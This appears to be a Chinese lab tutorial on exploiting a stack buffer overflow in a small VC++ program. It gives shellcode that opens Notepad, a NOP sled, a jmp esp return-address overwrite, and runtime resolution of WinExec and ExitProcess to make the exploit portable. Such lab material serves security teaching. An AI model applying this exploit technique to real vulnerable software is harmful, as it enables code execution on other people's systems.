实验目标:使用VC++ 6.0编写shellcode.cpp,用memcpy函数构造缓冲区溢出;并构造shellcode数组,数组的内容为覆盖掉返回地址EIP后,去打开notepad.exe。
1.首先完成主函数的编写:
void test()
{
char buffer[10];
memcpy( buffer, shellcode, sizeof(shellcode) );
}
void main()
{
test();
}
主函数只调用test()函数,test()函数用memcpy函数造成缓冲区溢出,即大数据往小空间上拷贝。接下来编写shellcode,只要shellcode的大小超过10,返回地址EIP就会被覆盖掉,转向攻击代码,也就是打开notepad.exe。
2.编写shellcode:
shellcode是指能完成特殊任务的自包含的二进制代码,根据不同的任务可能是发出一条系统调用或建立一个高权限的shell,shellcode因此而得名。
在本次实验中,shellcode的任务是打开noteped.exe。所以需要利用OllyICE工具来编写构造二进制代码:
接下来以二进制的形式复制该段代码:
替换成十六进制的形式,构成shellcode数组:
char shellcode[] = {
0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
0x81,0x7C,0xFF,0xD0
};
然后编译程序,执行后会报错,需要使用OllyICE进行调试:
找到memcpy函数,在离它最近的retn即为要寻找的返回地址EIP,下一个断点。F9跳转到该地址执行,观察堆栈区:
现在情况就是发生了溢出,没有控制好溢出后的函数返回地址,让其进入了一个不能读写的地址上去执行,所以报错。
唯一的办法就是去耐心的反复调试。本次调试前,请先加上一组0x90(对应nop,即空操作),如下:
char shellcode[] = {
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
0x81,0x7C,0xFF,0xD0
};
继续调试,观察堆栈区情况,返回地址为0x90909090,需要改写该地址才能让程序进入shellcode区执行。
通过精心计算,返回地址可以填写0012FF34,因为函数返回跳转到0012FF34上去执行,是一串空操作,但之后就会进入我们写的打开记事本的shellcode区。
shellcode第一个有效字符为64,它之前有10个90,然后就是返回地址。改写情况如下:
char shellcode[] = {
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x34,0xFF,0x12,0x00,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
0x81,0x7C,0xFF,0xD0
};
运行:
如果本机报错,可继续用上面的方法进行调试。
3.通用性改进:
这样编写的exe只能在该系统上运行,如果换台机器,堆栈区不一定是0012FF34后布置攻击代码。为了增强通用性,就是我们要解决的第一个问题,0012FF34不能硬编码写死。
用OllyICE工具调试,跳转到0012FF34,观察寄存器区,函数返回前后ESP指针的情况,如图所示:
观察后发现函数调用返回后栈顶指针的内容恰好为0012FF34,所以如果想进入到该地址执行,最后是用一条指令替代硬编码地址,jmp esp指令可以解决该问题。jmp esp指令对应的二进制码为FFE4,为了程序通用性,最好在系统必要的动态链接库中去找(如kernel32),点击OllyIce上方的M图标进入内存区域,在kernel32.dll查找FFE4:
找到7FFA4512地址下存有FFE4,所有可以用该地址替换掉0012FF34,替换情况如下:
char shellcode[] = {
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x12,0x45,0xFA,0x7F,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
0x81,0x7C,0xFF,0xD0
};
这样改写后,如果均为XP操作,该EXE均能打开notepad。
如果是不同版本的操作系统,程序的通用性还需要进一步改进,主要问题在于还有其他的硬编码地址需要动态获取。shellcode区域里的0x7C8623AD为WinExec在XP下的函数地址,0x7C81CAFA为ExitProcess的函数地址,并且0x7FFA4512地址在高版本操作系统下也不一定对应FFE4这一条指令。
为了解决这个问题,可以利用LoadLibrary和GetProcAddress函数进行联合调用,获取API函数地址,然后把该地址反填回shellcode。
DWORD a1 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"WinExec");
DWORD a2 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"ExitProcess");
*(DWORD*)(shellcode+49) = a1; /*根据自己的实际情况填写*/
*(DWORD*)(shellcode+58) = a2;
找到后把地址回填到shellcode对应的位置上:
DOWRD base = 0x00400000;
while ( 1 )
{
if( *(WORD *)base == 0xe4ff )
break;
base ++;
}
*( DWORD *)&shellcode[16] = base;
三个硬编码地址处理后,程序就可以在多个版本操作系统上正常执行。
Win10运行结果(注意杀毒软件会杀掉):
完整代码:
#include <windows.h>
char shellcode[] = {
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x12,0x45,0xFA,0x7F,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x68,0x70,0x61,0x64,0x00,0x68,0x6E,0x6F,0x74,0x65,
0x6A,0x01,0x8B,0xC4,0x83,0xC0,0x04,0x50,0xB8,0xAD,
0x23,0x86,0x7C,0xFF,0xD0,0x6A,0x00,0xB8,0xFA,0xCA,
0x81,0x7C,0xFF,0xD0
};
void test()
{
char buffer[10];
memcpy( buffer, shellcode, sizeof(shellcode) );
}
void main()
{
DWORD base = 0x00400000; /*imagebase*/
while ( 1 )
{
if( *(WORD *)base == 0xe4ff )
break;
base ++;
}
*( DWORD *)&shellcode[16] = base;
DWORD a1 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"WinExec");
DWORD a2 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"),"ExitProcess");
*(DWORD*)(shellcode+49) = a1; /*根据自己的实际情况填写*//*WinExec函数地址对应的位置*/
*(DWORD*)(shellcode+58) = a2; /*ExitProcess函数地址对应的位置*/
test();
}